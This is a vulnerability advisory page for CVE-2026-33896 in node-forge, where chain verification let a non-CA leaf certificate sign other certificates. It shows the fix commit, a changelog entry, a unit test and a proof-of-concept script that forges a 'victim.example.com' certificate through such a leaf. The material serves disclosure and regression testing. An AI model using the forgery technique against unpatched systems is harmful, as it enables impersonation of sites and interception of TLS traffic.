High severity7.4NVD Advisory· Published Mar 27, 2026· Updated Apr 14, 2026
CVE-2026-33896
CVE-2026-33896
Description
Forge (also called node-forge) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, pki.verifyCertificateChain() does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the basicConstraints and keyUsage extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid. Version 1.4.0 patches the issue.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
node-forgenpm | < 1.4.0 | 1.4.0 |
Affected products
1Patches
12e492832fb25Add x509 `basicConstraints` check.
4 files changed · +187 −0
CHANGELOG.md+11 −0 modified@@ -41,6 +41,15 @@ Forge ChangeLog - Austin Chu, Sohee Kim, and Corban Villa. - CVE ID: [CVE-2026-33895](https://www.cve.org/CVERecord?id=CVE-2026-33895) - GHSA ID: [GHSA-q67f-28xg-22rw](https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw) +- **HIGH**: `basicConstraints` bypass in certificate chain verification. + - `pki.verifyCertificateChain()` does not enforce RFC 5280 `basicConstraints` + requirements when an intermediate certificate lacks both the + `basicConstraints` and `keyUsage` extensions. This allows any leaf + certificate (without these extensions) to act as a CA and sign other + certificates, which node-forge will accept as valid. + - Reported by Doruk Tan Ozturk (@peaktwilight) - doruk.ch + - CVE ID: [CVE-TBD]() + - GHSA ID: [GHSA-2328-f5f3-gj25](https://github.com/digitalbazaar/forge/security/advisories/GHSA-2328-f5f3-gj25) ### Changed - [jsbn] Update to `jsbn` 1.4. Sync partly back to original style for easier @@ -56,6 +65,8 @@ Forge ChangeLog required to be eight octets for block types 1 and 2. - [rsa] Fix RFC 8017 DigestInfo parsing to require a sequence length of two. - [ed25519] Add canonical signature scaler check for S < L. +- [x590] Add chain verification check for absent `basicConstraints` on non-leaf + certificates. ## 1.3.3 - 2025-12-02
lib/x509.js+9 −0 modified@@ -3167,6 +3167,15 @@ pki.verifyCertificateChain = function(caStore, chain, options) { }; } } + // check for absent basicConstraints on non-leaf certificates + if(error === null && bcExt === null) { + error = { + message: + 'Certificate is missing basicConstraints extension and cannot ' + + 'be used as a CA.', + error: pki.certificateError.bad_certificate + }; + } // basic constraints cA flag must be set if(error === null && bcExt !== null && !bcExt.cA) { // bad certificate
tests/pocs/ghsa-2328-f5f3-gj25.js+85 −0 added@@ -0,0 +1,85 @@ +// Security Advisory PoC +// +// https://github.com/digitalbazaar/forge/security/advisories/GHSA-2328-f5f3-gj25 +// +// Doruk Tan Ozturk (@peaktwilight) - doruk.ch + +const forge = require('../..'); +const pki = forge.pki; + +function generateKeyPair() { + return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 }); +} + +console.log('=== node-forge basicConstraints Bypass PoC ===\n'); + +// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true) +const rootKeys = generateKeyPair(); +const rootCert = pki.createCertificate(); +rootCert.publicKey = rootKeys.publicKey; +rootCert.serialNumber = '01'; +rootCert.validity.notBefore = new Date(); +rootCert.validity.notAfter = new Date(); +rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10); + +const rootAttrs = [ + { name: 'commonName', value: 'Legitimate Root CA' }, + { name: 'organizationName', value: 'PoC Security Test' } +]; +rootCert.setSubject(rootAttrs); +rootCert.setIssuer(rootAttrs); +rootCert.setExtensions([ + { name: 'basicConstraints', cA: true, critical: true }, + { name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true } +]); +rootCert.sign(rootKeys.privateKey, forge.md.sha256.create()); + +// 2. Create a "leaf" certificate signed by root — NO basicConstraints, NO keyUsage +// This certificate should NOT be allowed to sign other certificates +const leafKeys = generateKeyPair(); +const leafCert = pki.createCertificate(); +leafCert.publicKey = leafKeys.publicKey; +leafCert.serialNumber = '02'; +leafCert.validity.notBefore = new Date(); +leafCert.validity.notAfter = new Date(); +leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5); + +const leafAttrs = [ + { name: 'commonName', value: 'Non-CA Leaf Certificate' }, + { name: 'organizationName', value: 'PoC Security Test' } +]; +leafCert.setSubject(leafAttrs); +leafCert.setIssuer(rootAttrs); +// NO basicConstraints extension — NO keyUsage extension +leafCert.sign(rootKeys.privateKey, forge.md.sha256.create()); + +// 3. Create a "victim" certificate signed by the leaf +// This simulates an attacker using a non-CA cert to forge certificates +const victimKeys = generateKeyPair(); +const victimCert = pki.createCertificate(); +victimCert.publicKey = victimKeys.publicKey; +victimCert.serialNumber = '03'; +victimCert.validity.notBefore = new Date(); +victimCert.validity.notAfter = new Date(); +victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1); + +const victimAttrs = [ + { name: 'commonName', value: 'victim.example.com' }, + { name: 'organizationName', value: 'Victim Corp' } +]; +victimCert.setSubject(victimAttrs); +victimCert.setIssuer(leafAttrs); +victimCert.sign(leafKeys.privateKey, forge.md.sha256.create()); + +// 4. Verify the chain: root -> leaf -> victim +const caStore = pki.createCaStore([rootCert]); + +try { + const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]); + //const result = pki.verifyCertificateChain(caStore, [leafCert, victimCert]); + console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result); + console.log(' node-forge accepted a non-CA certificate as an intermediate CA!'); + console.log(' This violates RFC 5280 Section 6.1.4.'); +} catch (e) { + console.log('[SECURE] Chain verification FAILED (expected): ' + e.message); +}
tests/unit/x509.js+82 −0 modified@@ -1485,6 +1485,88 @@ var UTIL = require('../../lib/util'); ASSERT.equal(certPem, outPem); }); + it('should require basicConstraints on non-leaf certificates', function() { + // see GHSA-2328-f5f3-gj25 and PoC in /tests/pocs/ + function generateKeyPair() { + return PKI.rsa.generateKeyPair({bits: 2048, e: 0x10001}); + } + + // 1. Create a legitimate Root CA (self-signed, with basicConstraints + // cA=true) + var rootKeys = generateKeyPair(); + var rootCert = PKI.createCertificate(); + rootCert.publicKey = rootKeys.publicKey; + rootCert.serialNumber = '01'; + rootCert.validity.notBefore = new Date(); + rootCert.validity.notAfter = new Date(); + rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10); + + var rootAttrs = [ + {name: 'commonName', value: 'Legitimate Root CA'}, + {name: 'organizationName', value: 'PoC Security Test'} + ]; + rootCert.setSubject(rootAttrs); + rootCert.setIssuer(rootAttrs); + rootCert.setExtensions([ + {name: 'basicConstraints', cA: true, critical: true}, + {name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true} + ]); + rootCert.sign(rootKeys.privateKey, MD.sha256.create()); + + // 2. Create a "leaf" certificate signed by root — NO basicConstraints, + // NO keyUsage This certificate should NOT be allowed to sign other + // certificates + var leafKeys = generateKeyPair(); + var leafCert = PKI.createCertificate(); + leafCert.publicKey = leafKeys.publicKey; + leafCert.serialNumber = '02'; + leafCert.validity.notBefore = new Date(); + leafCert.validity.notAfter = new Date(); + leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5); + + var leafAttrs = [ + {name: 'commonName', value: 'Non-CA Leaf Certificate'}, + {name: 'organizationName', value: 'PoC Security Test'} + ]; + leafCert.setSubject(leafAttrs); + leafCert.setIssuer(rootAttrs); + // NO basicConstraints extension — NO keyUsage extension + leafCert.sign(rootKeys.privateKey, MD.sha256.create()); + + // 3. Create a "victim" certificate signed by the leaf + // This simulates an attacker using a non-CA cert to forge certificates + var victimKeys = generateKeyPair(); + var victimCert = PKI.createCertificate(); + victimCert.publicKey = victimKeys.publicKey; + victimCert.serialNumber = '03'; + victimCert.validity.notBefore = new Date(); + victimCert.validity.notAfter = new Date(); + victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1); + + var victimAttrs = [ + {name: 'commonName', value: 'victim.example.com'}, + {name: 'organizationName', value: 'Victim Corp'} + ]; + victimCert.setSubject(victimAttrs); + victimCert.setIssuer(leafAttrs); + victimCert.sign(leafKeys.privateKey, MD.sha256.create()); + + // 4. Verify the chain: root -> leaf -> victim + var caStore = PKI.createCaStore([rootCert]); + + ASSERT.throws( + function() { + PKI.verifyCertificateChain(caStore, [victimCert, leafCert]); + }, + function(err) { + var exMsg = + 'Certificate is missing basicConstraints extension and cannot ' + + 'be used as a CA.'; + var exErr = 'forge.pki.BadCertificate'; + return err.message === exMsg && err.error === exErr; + } + ); + }); }); // TODO: add sha-512 and sha-256 fingerprint tests
Vulnerability mechanics
Generated by null/stub on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
4- github.com/digitalbazaar/forge/commit/2e492832fb25227e6b647cbe1ac981c123171e90nvdPatchWEB
- github.com/advisories/GHSA-2328-f5f3-gj25ghsaADVISORY
- github.com/digitalbazaar/forge/security/advisories/GHSA-2328-f5f3-gj25nvdVendor AdvisoryExploitWEB
- nvd.nist.gov/vuln/detail/CVE-2026-33896ghsaADVISORY
News mentions
0No linked articles in our index yet.